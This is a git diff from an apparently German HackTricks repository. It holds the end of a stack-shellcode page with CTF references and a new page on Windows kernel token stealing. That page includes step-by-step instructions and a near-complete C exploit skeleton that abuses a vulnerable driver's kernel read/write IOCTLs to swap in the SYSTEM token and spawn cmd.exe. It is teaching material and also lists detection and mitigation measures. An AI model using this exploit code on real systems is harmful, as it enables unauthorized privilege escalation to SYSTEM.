- Wenn der Stack-Speicher knapp ist, alloziere RWX an einer anderen Stelle (RCX=NULL) und jmp zu diesem neuen Bereich, anstatt den Stack wiederzuverwenden.
|
||||
- Berücksichtige immer gadgets, die RSP anpassen (z. B. add rsp, 8; ret), indem du Junk qwords einfügst.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **sollte deaktiviert sein**, damit die Adresse über mehrere Ausführungen hinweg zuverlässig ist; andernfalls wird die Adresse, an der die Funktion gespeichert wird, nicht immer dieselbe sein und du würdest irgendeinen leak benötigen, um herauszufinden, wo die win function geladen ist.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) sollten ebenfalls deaktiviert sein, sonst wird die kompromittierte EIP-Rücksprungadresse niemals ausgeführt.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack**-Schutz würde die Ausführung des Shellcodes im Stack verhindern, da dieser Bereich nicht ausführbar wäre.
|
||||
|
||||
## Weitere Beispiele & Referenzen
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64-Bit, ASLR mit Stack-Adress-Leak, Shellcode schreiben und zu ihm springen
|
||||
- 64bit, ASLR mit stack address leak, Shellcode schreiben und zu diesem springen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32-Bit, ASLR mit Stack-Leak, Shellcode schreiben und zu ihm springen
|
||||
- 32 bit, ASLR mit stack leak, Shellcode schreiben und zu diesem springen
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32-Bit, ASLR mit Stack-Leak, Vergleich zur Verhinderung des Aufrufs von exit(), Variable mit einem Wert überschreiben und Shellcode schreiben und zu ihm springen
|
||||
- 32 bit, ASLR mit stack leak, Vergleich, um einen Aufruf von exit() zu verhindern, Variable mit einem Wert überschreiben, Shellcode schreiben und zu diesem springen
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, kein ASLR, ROP-Gadget, um den Stack ausführbar zu machen und zu Shellcode im Stack zu springen
|
||||
- arm64, kein ASLR, ROP-gadget, um den Stack ausführbar zu machen und zum Shellcode im Stack zu springen
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Übersicht
|
||||
|
||||
Wenn ein verwundbarer Driver einen IOCTL bereitstellt, der einem Angreifer beliebige kernel read- und/oder write-Primitiven erlaubt, kann die Erhöhung auf NT AUTHORITY\SYSTEM oft erreicht werden, indem man ein SYSTEM access Token stiehlt. Die Technik kopiert den Token-Pointer aus dem EPROCESS eines SYSTEM-Prozesses in das EPROCESS des aktuellen Prozesses.
|
||||
|
||||
Warum das funktioniert:
|
||||
- Jeder Prozess hat eine EPROCESS-Struktur, die (unter anderen Feldern) ein Token enthält (tatsächlich ein EX_FAST_REF auf ein Token-Objekt).
|
||||
- Der SYSTEM-Prozess (PID 4) besitzt ein Token mit allen aktivierten Privilegien.
|
||||
- Das Ersetzen von EPROCESS.Token des aktuellen Prozesses durch den SYSTEM-Token-Pointer lässt den aktuellen Prozess sofort als SYSTEM laufen.
|
||||
|
||||
> Offsets in EPROCESS variieren zwischen Windows-Versionen. Bestimme sie dynamisch (Symbole) oder verwende versionsspezifische Konstanten. Denk auch daran, dass EPROCESS.Token ein EX_FAST_REF ist (die unteren 3 Bits sind Flags für die Referenzzählung).
|
||||
|
||||
## Hauptschritte
|
||||
|
||||
1) Lokalisieren des ntoskrnl.exe-Base und Auflösen der Adresse von PsInitialSystemProcess.
|
||||
- Aus dem User-Mode heraus: NtQuerySystemInformation(SystemModuleInformation) oder EnumDeviceDrivers verwenden, um geladene Driver-Basen zu bekommen.
|
||||
- Addiere den Offset von PsInitialSystemProcess (aus Symbolen/Reversing) zur Kernel-Base, um dessen Adresse zu erhalten.
|
||||
2) Lies den Pointer bei PsInitialSystemProcess → dies ist ein Kernel-Pointer auf SYSTEMs EPROCESS.
|
||||
3) Vom SYSTEM-EPROCESS aus, lies UniqueProcessId und ActiveProcessLinks-Offsets, um die doppelt verkettete Liste der EPROCESS-Strukturen (ActiveProcessLinks.Flink/Blink) zu traversieren, bis du das EPROCESS findest, dessen UniqueProcessId gleich GetCurrentProcessId() ist. Merke dir beide:
|
||||
- EPROCESS_SYSTEM (für SYSTEM)
|
||||
- EPROCESS_SELF (für den aktuellen Prozess)
|
||||
4) Lies den SYSTEM-Token-Wert: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Maskiere die unteren 3 Bits heraus: Token_SYS_masked = Token_SYS & ~0xF (üblich ~0xF oder ~0x7 je nach Build; auf x64 werden die unteren 3 Bits verwendet — 0xFFFFFFFFFFFFFFF8 Maske).
|
||||
5) Option A (üblich): Bewahre die unteren 3 Bits von deinem aktuellen Token und splice sie auf den SYSTEM-Pointer, um die eingebettete Referenzzählung konsistent zu halten.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Schreibe Token_NEW zurück in (EPROCESS_SELF + TokenOffset) mit deinem kernel write-Primitive.
|
||||
7) Dein aktueller Prozess läuft jetzt als SYSTEM. Optional spawn eine neue cmd.exe oder powershell.exe zur Bestätigung.
|
||||
|
||||
## Pseudocode
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
#include <stdint.h>
|
||||
|
||||
// Device + IOCTLs are driver-specific
|
||||
#define DEV_PATH "\\\\.\\VulnDrv"
|
||||
#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
// Version-specific (examples only – resolve per build!)
|
||||
static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies
|
||||
static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies
|
||||
static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies
|
||||
|
||||
BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) {
|
||||
struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret;
|
||||
in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE);
|
||||
}
|
||||
BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) {
|
||||
struct { uint64_t addr, val; } in; DWORD ret;
|
||||
in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL);
|
||||
}
|
||||
|
||||
// Get ntoskrnl base (one option)
|
||||
uint64_t get_nt_base(void) {
|
||||
LPVOID drivers[1024]; DWORD cbNeeded;
|
||||
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
|
||||
return (uint64_t)drivers[0]; // first is typically ntoskrnl
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h == INVALID_HANDLE_VALUE) return 1;
|
||||
|
||||
// 1) Resolve PsInitialSystemProcess
|
||||
uint64_t nt = get_nt_base();
|
||||
uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build
|
||||
|
||||
// 2) Read SYSTEM EPROCESS
|
||||
uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS);
|
||||
|
||||
// 3) Walk ActiveProcessLinks to find current EPROCESS
|
||||
DWORD myPid = GetCurrentProcessId();
|
||||
uint64_t cur = EPROC_SYS; // list is circular
|
||||
uint64_t EPROC_ME = 0;
|
||||
do {
|
||||
uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid);
|
||||
if ((DWORD)pid == myPid) { EPROC_ME = cur; break; }
|
||||
uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink);
|
||||
cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD
|
||||
} while (cur != EPROC_SYS);
|
||||
|
||||
// 4) Read tokens
|
||||
uint64_t tok_sys, tok_me;
|
||||
kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys);
|
||||
kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me);
|
||||
|
||||
// 5) Mask EX_FAST_REF low bits and splice refcount bits
|
||||
uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds
|
||||
uint64_t tok_new = tok_sys_mask | (tok_me & 0x7);
|
||||
|
||||
// 6) Write back
|
||||
kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new);
|
||||
|
||||
// 7) We are SYSTEM now
|
||||
system("cmd.exe");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Hinweise:
|
||||
- Offsets: Verwende WinDbg’s `dt nt!_EPROCESS` mit den Ziel‑PDBs oder einen Laufzeit-Symbol-Loader, um die korrekten Offsets zu erhalten. Nicht blind hardcoden.
|
||||
- Maske: Auf x64 ist das Token ein EX_FAST_REF; die unteren 3 Bits sind reference count bits. Die ursprünglichen unteren Bits deines Tokens beizubehalten vermeidet sofortige Refcount-Inkonsistenzen.
|
||||
- Stabilität: Bevorzuge die Erhöhung des aktuellen Prozesses; wenn du einen kurzlebigen Helper erhöhst, kannst du SYSTEM verlieren, wenn er beendet.
|
||||
|
||||
## Erkennung & Gegenmaßnahmen
|
||||
- Das Laden unsignierter oder nicht vertrauenswürdiger Drittanbieter-Treiber, die mächtige IOCTLs bereitstellen, ist die Hauptursache.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard und Attack Surface Reduction-Regeln können verhindern, dass verwundbare Treiber geladen werden.
|
||||
- EDR kann nach verdächtigen IOCTL-Sequenzen Ausschau halten, die arbitrary read/write implementieren, sowie nach Token-Swaps.
|
||||
|
||||
## Referenzen
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user